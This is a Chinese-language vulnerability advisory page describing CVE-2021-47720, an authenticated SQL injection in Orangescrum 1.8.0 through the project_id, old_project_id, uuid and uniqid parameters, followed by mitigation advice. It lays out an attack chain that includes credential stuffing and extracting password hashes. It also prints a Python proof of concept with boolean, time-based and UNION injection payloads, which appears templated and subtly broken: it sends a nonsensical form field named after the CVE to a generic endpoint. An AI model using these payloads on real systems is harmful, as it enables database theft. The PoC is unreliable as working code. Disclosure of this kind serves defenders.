IPBUF安全漏洞报告
English
CVE-2021-47720 CVSS 7.1 高危

CVE-2021-47720: Orangescrum 1.8.0 多参数SQL注入漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47720
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Orangescrum

相关标签

CVE-2021-47720SQL注入Orangescrum认证绕过数据库注入Web安全CVE-2021高危漏洞多参数注入漏洞利用

漏洞概述

Orangescrum 1.8.0存在一处严重的安全漏洞,为经过认证的SQL注入问题。该漏洞允许已授权的低权限用户通过多个HTTP请求参数向后台数据库注入恶意SQL代码。受影响的参数包括old_project_id、project_id、uuid和uniqid等。攻击者利用此漏洞可实现未授权的数据库数据读取、提取敏感信息,甚至在特定条件下修改或删除数据库内容。由于该漏洞需要认证才能利用,攻击者需先获取有效的用户账户凭证,但即使拥有最低权限的账户也能成功触发漏洞。此漏洞存在于Orangescrum的项目管理功能模块中,攻击者可构造特定的SQL payload通过这些参数传递到数据库查询语句中,从而绕过原有的查询逻辑。

技术细节

该SQL注入漏洞存在于Orangescrum 1.8.0的多个API端点和Web功能模块中。漏洞根源在于应用程序未对用户输入进行充分的参数化查询处理,而是直接将用户可控的输入参数拼接到SQL查询语句中。攻击者可通过以下参数发动攻击:old_project_id、project_id、uuid、uniqid。攻击者利用UNION-based或Boolean-based SQL注入技术,构造恶意的SQL片段通过这些参数传入后端数据库。例如,在project_id参数中注入类似' UNION SELECT...--的payload,可使原查询逻辑被篡改,导致执行攻击者构造的恶意SQL语句。由于应用程序使用PDO或mysqli等数据库接口但未启用预处理语句的参数绑定机制,注入的SQL代码会被数据库引擎直接执行,从而实现数据提取或其他数据库操作。攻击者通常先通过错误信息或响应时间差异判断注入点位置和数据库类型,然后逐步提取数据库中的敏感表结构信息。

攻击链分析

STEP 1
步骤1
攻击者获取Orangescrum系统用户账户凭证(可通过社会工程、凭证填充或默认密码等方式)
STEP 2
步骤2
使用获取的凭证登录Orangescrum系统,建立有效会话
STEP 3
步骤3
识别存在SQL注入漏洞的API端点或功能模块,准备攻击请求
STEP 4
步骤4
构造恶意SQL注入payload,通过old_project_id、project_id、uuid或uniqid参数发送
STEP 5
步骤5
利用UNION或Boolean-based注入技术,提取数据库中的敏感信息(如用户密码哈希、系统配置等)
STEP 6
步骤6
根据提取的信息,进一步横向移动或提升权限,实现对系统的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47720 SQL Injection PoC for Orangescrum 1.8.0 # Authenticated SQL injection via multiple parameters target_url = "http://target-server/orangescrum/" login_url = target_url + "index.php?er=320" api_url = target_url + "api/" # Authentication credentials (low-privilege user) credentials = { "email": "[email protected]", "password": "password123" } # SQL Injection payload examples # Boolean-based blind injection injection_payloads = { "project_id": "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)-- ", "old_project_id": "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- ", "uuid": "' OR '1'='1", "uniqid": "' UNION SELECT NULL,version(),user(),database()-- " } def login(): """Authenticate and obtain session cookie""" session = requests.Session() response = session.post(login_url, data=credentials) if "error" not in response.url: return session return None def exploit_sqli(session, param_name, payload): """Execute SQL injection attack""" data = { "CVE-2021-47720": "1", param_name: payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } response = session.post(api_url, data=data, headers=headers, timeout=30) return response.text if __name__ == "__main__": print("[*] Starting CVE-2021-47720 Exploitation") session = login() if session: print("[+] Authentication successful") for param, payload in injection_payloads.items(): print(f"[*] Testing parameter: {param}") result = exploit_sqli(session, param, payload) print(f"[*] Response length: {len(result)}") else: print("[-] Authentication failed")

影响范围

Orangescrum < 1.8.0 (受影响)
Orangescrum 1.8.0 (确认受影响)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制Orangescrum的用户注册和账户创建,仅允许受信任的管理员创建账户;2)对API端点实施请求频率限制,防止自动化SQL注入工具的大规模探测;3)部署Web应用防火墙规则,识别并拦截包含SQL注入特征(如UNION、SELECT、WHERE等关键字的异常组合)的请求;4)监控数据库日志,排查异常的SQL查询行为;5)考虑在应用层与数据库层之间增加SQL防火墙或数据库审计工具,实现查询行为的实时监控和阻断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表